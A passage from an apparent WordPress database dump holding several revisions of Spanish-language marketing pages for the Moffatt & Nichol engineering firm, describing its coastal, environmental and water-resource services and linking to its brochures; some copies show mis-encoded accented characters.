operaciones de trÃ¡fico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Servicios portuarios','','inherit','open','open','','357-revision-4','','','2012-06-15 04:48:43','2012-06-15 04:48:43','',357,'http://moffattnichol.com/spanish/357-revision-4/',0,'revision','',0),(2460,1,'2012-06-13 09:35:45','2012-06-13 09:35:45','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hÃdricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingenierÃa en el mundo en adoptar el concepto de ingenierÃa costera moderna: modelaciÃ³n, comprensiÃ³n y diseño para los procesos que dan forma a nuestras lÃneas costeras, puertos y rÃos. Hoy en dÃa, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en Norteamérica. Nuestros ingenieros de recursos costeros, medioambientales e hÃdricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protecciÃ³n de riberas, gestiÃ³n regional de la arena, restauraciÃ³n del ecosistema, gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa, navegaciÃ³n de buques, operaciones de amarre y atraque, recursos hÃdricos y gestiÃ³n de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climÃ¡tico, los especialistas en recursos costeros, medioambientales e hÃdricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prÃ¡cticas para estos desafÃos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hÃdricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÃ‰CNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÃTICO</strong><br />\r\n                Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hÃdricos','','inherit','open','open','','51-revision-5','','','2012-06-13 09:35:45','2012-06-13 09:35:45','',51,'http://moffattnichol.com/spanish/51-revision-5/',0,'revision','',0),(2461,1,'2012-06-15 05:18:31','2012-06-15 05:18:31','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hídricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingeniería en el mundo en adoptar el concepto de ingeniería costera moderna: modelación, comprensión y diseño para los procesos que dan forma a nuestras líneas costeras, puertos y ríos. Hoy en día, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en Norteamérica. Nuestros ingenieros de recursos costeros, medioambientales e hídricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protección de riberas, gestión regional de la arena, restauración del ecosistema, gestión de material dragado y su reutilización beneficiosa, navegación de buques, operaciones de amarre y atraque, recursos hídricos y gestión de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climático, los especialistas en recursos costeros, medioambientales e hídricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prácticas para estos desafíos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hídricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÉCNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÁTICO</strong><br />\r\n                Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarla, así como una metodología</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hídricos','','inherit','open','open','','51-autosave','','','2012-06-15 05:18:31','2012-06-15 05:18:31','',51,'http://moffattnichol.com/spanish/51-autosave/',0,'revision','',0),(2462,1,'2012-06-15 05:09:18','2012-06-15 05:09:18','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hÃdricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingenierÃa en el mundo en adoptar el concepto de ingenierÃa costera moderna: modelaciÃ³n, comprensiÃ³n y diseño para los procesos que dan forma a nuestras lÃneas costeras, puertos y rÃos. Hoy en dÃa, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en Norteamérica. Nuestros ingenieros de recursos costeros, medioambientales e hÃdricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protecciÃ³n de riberas, gestiÃ³n regional de la arena, restauraciÃ³n del ecosistema, gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa, navegaciÃ³n de buques, operaciones de amarre y atraque, recursos hÃdricos y gestiÃ³n de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climÃ¡tico, los especialistas en recursos costeros, medioambientales e hÃdricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prÃ¡cticas para estos desafÃos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hÃdricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÃ‰CNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÃTICO</strong><br />\r\n                Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hídricos','','inherit','open','open','','51-revision-6','','','2012-06-15 05:09:18','2012-06-15 05:09:18','',51,'http://moffattnichol.com/spanish/51-revision-6/',0,'revision','',0),(2463,1,'2011-11-11 13:18:27','2011-11-11 13:18:27','<div class=\"content_faq\">\n  <h3>servicios de recursos costeros, medioambientales e hÃdricos</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">modelaciÃ³n numÃ©rica de procesos fluviales, estuarinos y costeros</h1>\nDado el Ã©nfasis en preservar o mejorar el medioambiente, uno de los aspectos mÃ¡s crÃticos que afectan la aprobaciÃ³n reglamentaria de los nuevos proyectos es la evaluaciÃ³n de su impacto en el medioambiente existente. La participaciÃ³n de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a travÃ©s del uso de modelos numÃ©ricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinÃ¡mica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosiÃ³n y deposiciÃ³n y calidad del agua. Tenemos un gran conocimiento de los procesos fÃsicos activos en estas ubicaciones, adquirido mediante la realizaciÃ³n de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numÃ©ricos. Moffatt & Nichol ha completado centenares de estudios de modelaciÃ³n, usando varias plataformas de modelaciÃ³n comerciales y de dominio pÃºblico, en todo el mundo; esto incluye haber realizado anÃ¡lisis de la mayor parte de los principales estuarios y bahÃas costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelaciÃ³n han sido objeto de una rigurosa revisiÃ³n y aceptaciÃ³n por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisiÃ³n medioambiental.\n\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">transporte de sedimentos</h1>\nEl anÃ¡lisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta tÃpicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos anÃ¡lisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evoluciÃ³n fÃsica del Ã¡rea despuÃ©s de dicho acontecimiento. Los mecanismos fÃsicos examinados incluyen la erosiÃ³n o deposiciÃ³n como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parÃ¡metros del agua (como la densidad, temperatura o composiciÃ³n).\n\nPara examinar el transporte de sedimentos, la erosiÃ³n y la deposiciÃ³n, Moffatt & Nichol utiliza mÃ©todos analÃticos eficientes y comprobados, desarrollados en forma interna, asÃ como sofisticados modelos numÃ©ricos comerciales y de dominio pÃºblico. Moffatt & Nichol ha aplicado estos mÃ©todos extensamente en todo el mundo para proyectos de mejoras o daÃ±os de riberas y puertos, incluyendo algunos de los mayores proyectos de profundizaciÃ³n de canales emprendidos en los Estados Unidos (como el estudio de profundizaciÃ³n del puerto de Nueva York/Nueva Jersey).\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">restauraciÃ³n del ecosistema</h1>\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, cientÃficos y de ingenierÃa para proyectos que implican la conservaciÃ³n, mejora o restauraciÃ³n. A menudo, dichos proyectos son componentes de mitigaciÃ³n que permiten que se desarrollen proyectos mÃ¡s grandes que, como tales, estÃ¡n sujetos a mayor escrutinio debido a la participaciÃ³n de los organismos reguladores. Estos componentes usualmente aumentan el nÃºmero de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinaciÃ³n entre dichas partes interesadas: el pÃºblico, los organismos gubernamentales y las organizaciones no gubernamentales. \n\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificaciÃ³n de los parÃ¡metros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribuciÃ³n de agua dulce o salada), proporcionando ubicaciones/regÃmenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilizaciÃ³n de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauraciÃ³n exitosa, Moffatt & Nichol ofrece su experimentado personal con una sÃ³lida trayectoria de Ã©xito en proporcionar planeamiento, modelaciÃ³n numÃ©rica, gestiÃ³n de autorizaciones, ingenierÃa, diseÃ±o, servicios de construcciÃ³n, participaciÃ³n ciudadana y supervisiÃ³n de proyectos de restauraciÃ³n del ecosistema.\n\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">gestiÃ³n regional de la arena</h1>\nHistÃ³ricamente, los proyectos de mejora de riberas fueron planeados y diseÃ±ados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados mÃ¡s recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocaciÃ³n de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participaciÃ³n de las partes interesadas y de la ciudadanÃa, la modelaciÃ³n del transporte de sedimentos, anÃ¡lisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protecciÃ³n de la ribera entre comunidades costeras vecinas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img 